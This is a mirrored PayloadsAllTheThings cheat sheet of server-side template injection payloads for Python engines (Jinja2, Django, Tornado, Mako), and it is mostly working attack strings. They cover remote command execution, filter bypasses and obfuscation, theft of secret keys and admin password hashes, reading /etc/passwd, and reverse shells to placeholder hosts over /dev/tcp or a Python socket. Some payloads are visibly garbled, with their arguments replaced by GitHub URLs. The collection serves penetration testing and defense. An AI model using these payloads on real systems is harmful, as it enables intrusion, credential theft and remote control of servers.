python.md (20350B)
1 --- 2 title: "Server Side Template Injection - Python" 3 topic: "Server Side Template Injection" 4 topicSlug: "server-side-template-injection" 5 sourcePath: "Server Side Template Injection/Python.md" 6 sourceUrl: "https://github.com/swisskyrepo/PayloadsAllTheThings/blob/3ac27901c711/Server%20Side%20Template%20Injection/Python.md" 7 sha: "3ac27901c711" 8 isReadme: false 9 --- 10 11 # Server Side Template Injection - Python 12 13 > Server-Side Template Injection (SSTI) is a vulnerability that arises when an attacker can inject malicious input into a server-side template, causing arbitrary code execution on the server. In Python, SSTI can occur when using templating engines such as Jinja2, Mako, or Django templates, where user input is included in templates without proper sanitization. 14 15 ## Summary 16 17 - [Templating Libraries](#templating-libraries) 18 - [Universal Payloads](#universal-payloads) 19 - [Django](#django) 20 - [Django - Basic Injection](#django---basic-injection) 21 - [Django - Cross-Site Scripting](#django---cross-site-scripting) 22 - [Django - Debug Information Leak](#django---debug-information-leak) 23 - [Django - Leaking App's Secret Key](#django---leaking-apps-secret-key) 24 - [Django - Admin Site URL leak](#django---admin-site-url-leak) 25 - [Django - Admin Username and Password Hash Leak](#django---admin-username-and-password-hash-leak) 26 - [Jinja2](#jinja2) 27 - [Jinja2 - Basic Injection](#jinja2---basic-injection) 28 - [Jinja2 - Template Format](#jinja2---template-format) 29 - [Jinja2 - Debug Statement](#jinja2---debug-statement) 30 - [Jinja2 - Dump All Used Classes](#jinja2---dump-all-used-classes) 31 - [Jinja2 - Dump All Config Variables](#jinja2---dump-all-config-variables) 32 - [Jinja2 - Read Remote File](#jinja2---read-remote-file) 33 - [Jinja2 - Write Into Remote File](#jinja2---write-into-remote-file) 34 - [Jinja2 - Remote Command Execution](#jinja2---remote-command-execution) 35 - [Forcing Output On Blind RCE](#jinja2---forcing-output-on-blind-rce) 36 - [Exploit The SSTI By Calling os.popen().read()](#exploit-the-ssti-by-calling-ospopenread) 37 - [Exploit The SSTI By Calling subprocess.Popen](#exploit-the-ssti-by-calling-subprocesspopen) 38 - [Exploit The SSTI By Calling Popen Without Guessing The Offset](#exploit-the-ssti-by-calling-popen-without-guessing-the-offset) 39 - [Exploit The SSTI By Writing an Evil Config File](#exploit-the-ssti-by-writing-an-evil-config-file) 40 - [Jinja2 - Remote Command Execution with Obfuscation](#jinja2---remote-command-execution-with-obfuscation) 41 - [Jinja2 - Filter Bypass](#jinja2---filter-bypass) 42 - [Tornado](#tornado) 43 - [Tornado - Basic Injection](#tornado---basic-injection) 44 - [Tornado - Remote Command Execution](#tornado---remote-command-execution) 45 - [Mako](#mako) 46 - [Mako - Remote Command Execution](#mako---remote-command-execution) 47 - [Mako - Remote Command Execution with Obfuscation](#mako---remote-command-execution-with-obfuscation) 48 - [References](#references) 49 50 ## Templating Libraries 51 52 | Template Name | Payload Format | 53 |---------------|----------------| 54 | Bottle | `{{ }}` | 55 | Chameleon | `${ }` | 56 | Cheetah | `${ }` | 57 | Django | `{{ }}` | 58 | Jinja2 | `{{ }}` | 59 | Mako | `${ }` | 60 | Pystache | `{{ }}` | 61 | Tornado | `{{ }}` | 62 63 ## Universal Payloads 64 65 Generic code injection payloads work for many Python-based template engines, such as Bottle, Chameleon, Cheetah, Mako and Tornado. 66 67 To use these payloads, wrap them in the appropriate tag. 68 69 ```python 70 __include__("os").popen("id").read() # Rendered RCE 71 getattr("", "x" + __include__("os").popen("id").read()) # Error-Based RCE 72 1 / (__include__("os").popen("id")._proc.wait() == 0) # Boolean-Based RCE 73 __include__("os").popen("id && sleep 5").read() # Time-Based RCE 74 ``` 75 76 ## Django 77 78 Django template language supports 2 rendering engines by default: Django Templates (DT) and Jinja2. Django Templates is much simpler engine. It does not allow calling of passed object functions and impact of SSTI in DT is often less severe than in Jinja2. 79 80 ### Django - Basic Injection 81 82 ```python 83 {% csrf_token %} # Causes error with Jinja2 84 {{ 7*7 }} # Error with Django Templates 85 ih0vr{{364|add:733}}d121r # Burp Payload -> ih0vr1097d121r 86 ``` 87 88 ### Django - Cross-Site Scripting 89 90 ```python 91 {{ '<script>alert(3)</script>' }} 92 {{ '<script>alert(3)</script>' | safe }} 93 ``` 94 95 ### Django - Debug Information Leak 96 97 ```python 98 {% debug %} 99 ``` 100 101 ### Django - Leaking App's Secret Key 102 103 ```python 104 {{ messages.storages.0.signer.key }} 105 ``` 106 107 ### Django - Admin Site URL leak 108 109 ```python 110 {% include 'admin/base.html' %} 111 ``` 112 113 ### Django - Admin Username And Password Hash Leak 114 115 ```ps1 116 {% load log %}{% get_admin_log 10 as log %}{% for e in log %} 117 {{e.user.get_username}} : {{e.user.password}}{% endfor %} 118 119 {% get_admin_log 10 as admin_log for_user user %} 120 ``` 121 122 --- 123 124 ## Jinja2 125 126 [Official website](https://jinja.palletsprojects.com/) 127 > Jinja2 is a full featured template engine for Python. It has full unicode support, an optional integrated sandboxed execution environment, widely used and BSD licensed. 128 129 ### Jinja2 - Basic Injection 130 131 ```python 132 {{4*4}}[[5*5]] 133 {{7*'7'}} would result in 7777777 134 {{config.items()}} 135 ``` 136 137 Jinja2 is used by Python Web Frameworks such as Django or Flask. 138 The above injections have been tested on a Flask application. 139 140 ### Jinja2 - Template Format 141 142 ```python 143 {% extends "layout.html" %} 144 {% block body %} 145 <ul> 146 {% for user in users %} 147 <li><a href="{{ user.url }}">{{ user.username }}</a></li> 148 {% endfor %} 149 </ul> 150 {% endblock %} 151 152 ``` 153 154 ### Jinja2 - Debug Statement 155 156 If the Debug Extension is enabled, a `{% debug %}` tag will be available to dump the current context as well as the available filters and tests. This is useful to see what’s available to use in the template without setting up a debugger. 157 158 ```python 159 <pre>{% debug %}</pre> 160 ``` 161 162 Source: [jinja.palletsprojects.com](https://jinja.palletsprojects.com/en/2.11.x/templates/#debug-statement) 163 164 ### Jinja2 - Dump All Used Classes 165 166 ```python 167 {{ [].class.base.subclasses() }} 168 {{''.class.mro()[1].subclasses()}} 169 {{ ''.__class__.__mro__[2].__subclasses__() }} 170 ``` 171 172 Access `__globals__` and `__builtins__`: 173 174 ```python 175 {{ self.__init__.__globals__.__builtins__ }} 176 ``` 177 178 ### Jinja2 - Dump All Config Variables 179 180 ```python 181 {% for key, value in config.iteritems() %} 182 <dt>{{ key|e }}</dt> 183 <dd>{{ value|e }}</dd> 184 {% endfor %} 185 ``` 186 187 ### Jinja2 - Read Remote File 188 189 ```python 190 # ''.__class__.__mro__[2].__subclasses__()[40] = File class 191 {{ ''.__class__.__mro__[2].__subclasses__()[40](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/3ac27901c711/Server%20Side%20Template%20Injection/%27/etc/passwd%27).read() }} 192 {{ config.items()[4][1].__class__.__mro__[2].__subclasses__()[40](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/3ac27901c711/Server%20Side%20Template%20Injection/%22/tmp/flag%22).read() }} 193 # https://github.com/pallets/flask/blob/master/src/flask/helpers.py#L398 194 {{ get_flashed_messages.__globals__.__builtins__.open("/etc/passwd").read() }} 195 ``` 196 197 ### Jinja2 - Write Into Remote File 198 199 ```python 200 {{ ''.__class__.__mro__[2].__subclasses__()[40](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/3ac27901c711/Server%20Side%20Template%20Injection/%27/var/www/html/myflaskapp/hello.txt%27%2C%20%27w%27).write('Hello here !') }} 201 ``` 202 203 ### Jinja2 - Remote Command Execution 204 205 Listen for connection 206 207 ```bash 208 nc -lnvp 8000 209 ``` 210 211 #### Jinja2 - Forcing Output On Blind RCE 212 213 You can import Flask functions to return an output from the vulnerable page. 214 215 ```py 216 {{ 217 x.__init__.__builtins__.exec("from flask import current_app, after_this_request 218 @after_this_request 219 def hook(*args, **kwargs): 220 from flask import make_response 221 r = make_response('Powned') 222 return r 223 ") 224 }} 225 ``` 226 227 #### Exploit The SSTI By Calling os.popen().read() 228 229 ```python 230 {{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }} 231 ``` 232 233 But when `__builtins__` is filtered, the following payloads are context-free, and do not require anything, except being in a jinja2 Template object: 234 235 ```python 236 {{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }} 237 {{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }} 238 {{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }} 239 ``` 240 241 We can use these shorter payloads from [@podalirius_](https://twitter.com/podalirius_): [python-vulnerabilities-code-execution-in-jinja-templates](https://podalirius.net/en/articles/python-vulnerabilities-code-execution-in-jinja-templates/): 242 243 ```python 244 {{ cycler.__init__.__globals__.os.popen('id').read() }} 245 {{ joiner.__init__.__globals__.os.popen('id').read() }} 246 {{ namespace.__init__.__globals__.os.popen('id').read() }} 247 ``` 248 249 Similar payloads could be used for Error-Based and Boolean-Based exploitation: 250 251 ```python 252 {{ cycler.__init__.__globals__.__builtins__.getattr("", "x" + cycler.__init__.__globals__.os.popen('id').read()) }} # Error-Based 253 {{ 1 / (cycler.__init__.__globals__.os.popen("id")._proc.wait() == 0) }} # Boolean-Based 254 ``` 255 256 With [objectwalker](https://github.com/p0dalirius/objectwalker) we can find a path to the `os` module from `lipsum`. This is the shortest payload known to achieve RCE in a Jinja2 template: 257 258 ```python 259 {{ lipsum.__globals__["os"].popen('id').read() }} 260 ``` 261 262 #### Exploit The SSTI By Calling subprocess.Popen 263 264 :warning: the number 396 will vary depending of the application. 265 266 ```python 267 {{''.__class__.mro()[1].__subclasses__()[396](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/3ac27901c711/Server%20Side%20Template%20Injection/%27cat%20flag.txt%27%2Cshell%3DTrue%2Cstdout%3D-1).communicate()[0].strip()}} 268 {{config.__class__.__init__.__globals__['os'].popen('ls').read()}} 269 ``` 270 271 #### Exploit The SSTI By Calling Popen Without Guessing The Offset 272 273 ```python 274 {% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__'](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/3ac27901c711/Server%20Side%20Template%20Injection/%27os%27).popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %} 275 ``` 276 277 Simple modification of the payload to clean up output and facilitate command input from [@SecGus](https://twitter.com/SecGus/status/1198976764351066113). In another GET parameter include a variable named "input" that contains the command you want to run (For example: &input=ls) 278 279 ```python 280 {% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__'](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/3ac27901c711/Server%20Side%20Template%20Injection/%27os%27).popen(request.args.input).read()}}{%endif%}{%endfor%} 281 ``` 282 283 #### Exploit The SSTI By Writing An Evil Config File 284 285 ```python 286 # evil config 287 {{ ''.__class__.__mro__[2].__subclasses__()[40](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/3ac27901c711/Server%20Side%20Template%20Injection/%27/tmp/evilconfig.cfg%27%2C%20%27w%27).write('from subprocess import check_output\n\nRUNCMD = check_output\n') }} 288 289 # load the evil config 290 {{ config.from_pyfile('/tmp/evilconfig.cfg') }} 291 292 # connect to evil host 293 {{ config['RUNCMD'](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/3ac27901c711/Server%20Side%20Template%20Injection/%27/bin/bash%20-c%20%22/bin/bash%20-i%20%3E%26%20/dev/tcp/x.x.x.x/8000%200%3E%261%22%27%2Cshell%3DTrue) }} 294 ``` 295 296 ### Jinja2 - Remote Command Execution with Obfuscation 297 298 Write the string: `id` using the index position of a known existing string (the index value may vary depending on the target): `{{self.__init__.__globals__.__str__()[1786:1788]}}`. 299 300 Execute the system command `id`: 301 302 ```python 303 {{self._TemplateReference__context.cycler.__init__.__globals__.os.popen(self.__init__.__globals__.__str__()[1786:1788]).read()}} 304 ``` 305 306 Reference and explanation of payload can be found [yeswehack/server-side-template-injection-exploitation](https://www.yeswehack.com/learn-bug-bounty/server-side-template-injection-exploitation). 307 308 ### Jinja2 - Filter Bypass 309 310 ```python 311 request.__class__ 312 request["__class__"] 313 ``` 314 315 Bypassing `_` 316 317 ```python 318 http://localhost:5000/?exploit={{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}&class=class&usc=_ 319 320 {{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}} 321 {{request|attr(["_"*2,"class","_"*2]|join)}} 322 {{request|attr(["__","class","__"]|join)}} 323 {{request|attr("__class__")}} 324 {{request.__class__}} 325 ``` 326 327 Bypassing `[` and `]` 328 329 ```python 330 http://localhost:5000/?exploit={{request|attr((request.args.usc*2,request.args.class,request.args.usc*2)|join)}}&class=class&usc=_ 331 or 332 http://localhost:5000/?exploit={{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_ 333 ``` 334 335 Bypassing `|join` 336 337 ```python 338 http://localhost:5000/?exploit={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_ 339 ``` 340 341 Bypassing most common filters ('.','_','|join','[',']','mro' and 'base') by [@SecGus](https://twitter.com/SecGus): 342 343 ```python 344 {{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}} 345 ``` 346 347 --- 348 349 ## Tornado 350 351 > Universal payloads also work for Tornado. 352 353 ### Tornado - Basic Injection 354 355 ```py 356 {{7*7}} 357 {{7*'7'}} 358 ``` 359 360 ### Tornado - Remote Command Execution 361 362 ```py 363 {{os.system('whoami')}} 364 {%import os%}{{os.system('nslookup oastify.com')}} 365 ``` 366 367 --- 368 369 ## Mako 370 371 > Universal payloads also work for Mako. 372 373 [Official website](https://www.makotemplates.org/) 374 > Mako is a template library written in Python. Conceptually, Mako is an embedded Python (i.e. Python Server Page) language, which refines the familiar ideas of componentized layout and inheritance to produce one of the most straightforward and flexible models available, while also maintaining close ties to Python calling and scoping semantics. 375 376 ```python 377 <% 378 import os 379 x=os.popen('id').read() 380 %> 381 ${x} 382 ``` 383 384 ### Mako - Remote Command Execution 385 386 Any of these payloads allows direct access to the `os` module 387 388 ```python 389 ${self.module.cache.util.os.system("id")} 390 ${self.module.runtime.util.os.system("id")} 391 ${self.template.module.cache.util.os.system("id")} 392 ${self.module.cache.compat.inspect.os.system("id")} 393 ${self.__init__.__globals__['util'].os.system('id')} 394 ${self.template.module.runtime.util.os.system("id")} 395 ${self.module.filters.compat.inspect.os.system("id")} 396 ${self.module.runtime.compat.inspect.os.system("id")} 397 ${self.module.runtime.exceptions.util.os.system("id")} 398 ${self.template.__init__.__globals__['os'].system('id')} 399 ${self.module.cache.util.compat.inspect.os.system("id")} 400 ${self.module.runtime.util.compat.inspect.os.system("id")} 401 ${self.template._mmarker.module.cache.util.os.system("id")} 402 ${self.template.module.cache.compat.inspect.os.system("id")} 403 ${self.module.cache.compat.inspect.linecache.os.system("id")} 404 ${self.template._mmarker.module.runtime.util.os.system("id")} 405 ${self.attr._NSAttr__parent.module.cache.util.os.system("id")} 406 ${self.template.module.filters.compat.inspect.os.system("id")} 407 ${self.template.module.runtime.compat.inspect.os.system("id")} 408 ${self.module.filters.compat.inspect.linecache.os.system("id")} 409 ${self.module.runtime.compat.inspect.linecache.os.system("id")} 410 ${self.template.module.runtime.exceptions.util.os.system("id")} 411 ${self.attr._NSAttr__parent.module.runtime.util.os.system("id")} 412 ${self.context._with_template.module.cache.util.os.system("id")} 413 ${self.module.runtime.exceptions.compat.inspect.os.system("id")} 414 ${self.template.module.cache.util.compat.inspect.os.system("id")} 415 ${self.context._with_template.module.runtime.util.os.system("id")} 416 ${self.module.cache.util.compat.inspect.linecache.os.system("id")} 417 ${self.template.module.runtime.util.compat.inspect.os.system("id")} 418 ${self.module.runtime.util.compat.inspect.linecache.os.system("id")} 419 ${self.module.runtime.exceptions.traceback.linecache.os.system("id")} 420 ${self.module.runtime.exceptions.util.compat.inspect.os.system("id")} 421 ${self.template._mmarker.module.cache.compat.inspect.os.system("id")} 422 ${self.template.module.cache.compat.inspect.linecache.os.system("id")} 423 ${self.attr._NSAttr__parent.template.module.cache.util.os.system("id")} 424 ${self.template._mmarker.module.filters.compat.inspect.os.system("id")} 425 ${self.template._mmarker.module.runtime.compat.inspect.os.system("id")} 426 ${self.attr._NSAttr__parent.module.cache.compat.inspect.os.system("id")} 427 ${self.template._mmarker.module.runtime.exceptions.util.os.system("id")} 428 ${self.template.module.filters.compat.inspect.linecache.os.system("id")} 429 ${self.template.module.runtime.compat.inspect.linecache.os.system("id")} 430 ${self.attr._NSAttr__parent.template.module.runtime.util.os.system("id")} 431 ${self.context._with_template._mmarker.module.cache.util.os.system("id")} 432 ${self.template.module.runtime.exceptions.compat.inspect.os.system("id")} 433 ${self.attr._NSAttr__parent.module.filters.compat.inspect.os.system("id")} 434 ${self.attr._NSAttr__parent.module.runtime.compat.inspect.os.system("id")} 435 ${self.context._with_template.module.cache.compat.inspect.os.system("id")} 436 ${self.module.runtime.exceptions.compat.inspect.linecache.os.system("id")} 437 ${self.attr._NSAttr__parent.module.runtime.exceptions.util.os.system("id")} 438 ${self.context._with_template._mmarker.module.runtime.util.os.system("id")} 439 ${self.context._with_template.module.filters.compat.inspect.os.system("id")} 440 ${self.context._with_template.module.runtime.compat.inspect.os.system("id")} 441 ${self.context._with_template.module.runtime.exceptions.util.os.system("id")} 442 ${self.template.module.runtime.exceptions.traceback.linecache.os.system("id")} 443 ``` 444 445 PoC : 446 447 ```python 448 >>> print(Template("${self.module.cache.util.os}").render()) 449 <module 'os' from '/usr/local/lib/python3.10/os.py'> 450 ``` 451 452 ### Mako - Remote Command Execution with Obfuscation 453 454 In Mako, the following payload can be used to generates the string "id": `${str().join(chr(i)for(i)in[105,100])}`. 455 456 Execute the system command `id`: 457 458 ```python 459 ${self.module.cache.util.os.popen(str().join(chr(i)for(i)in[105,100])).read()} 460 ``` 461 462 ```python 463 <%import os%>${os.popen(str().join(chr(i)for(i)in[105,100])).read()} 464 ``` 465 466 Reference and explanation of payload can be found [yeswehack/server-side-template-injection-exploitation](https://www.yeswehack.com/learn-bug-bounty/server-side-template-injection-exploitation). 467 468 ## References 469 470 - [Cheatsheet - Flask & Jinja2 SSTI - phosphore - September 3, 2018](https://web.archive.org/web/20191029021639/http://pequalsnp-team.github.io:80/cheatsheet/flask-jinja2-ssti) 471 - [Exploring SSTI in Flask/Jinja2, Part II - Tim Tomes - March 11, 2016](https://web.archive.org/web/20170710015954/https://nvisium.com/blog/2016/03/11/exploring-ssti-in-flask-jinja2-part-ii/) 472 - [Jinja2 template injection filter bypasses - Sebastian Neef - August 28, 2017](https://web.archive.org/web/20180901222505/https://0day.work/jinja2-template-injection-filter-bypasses/) 473 - [Limitations are just an illusion – advanced server-side template exploitation with RCE everywhere - Brumens - March 24, 2025](https://web.archive.org/web/20240906203847/https://www.yeswehack.com/learn-bug-bounty/server-side-template-injection-exploitation) 474 - [Python context free payloads in Mako templates - podalirius - August 26, 2021](https://web.archive.org/web/20210826203322/https://podalirius.net/en/articles/python-context-free-payloads-in-mako-templates/) 475 - [The minefield between syntaxes: exploiting syntax confusions in the wild - Brumens - October 17, 2025](https://web.archive.org/web/20251006113218/https://www.yeswehack.com/learn-bug-bounty/syntax-confusion-ambiguous-parsing-exploits) 476 - [Successful Errors: New Code Injection and SSTI Techniques - Vladislav Korchagin - January 3, 2026](https://github.com/vladko312/Research_Successful_Errors/blob/main/README.md)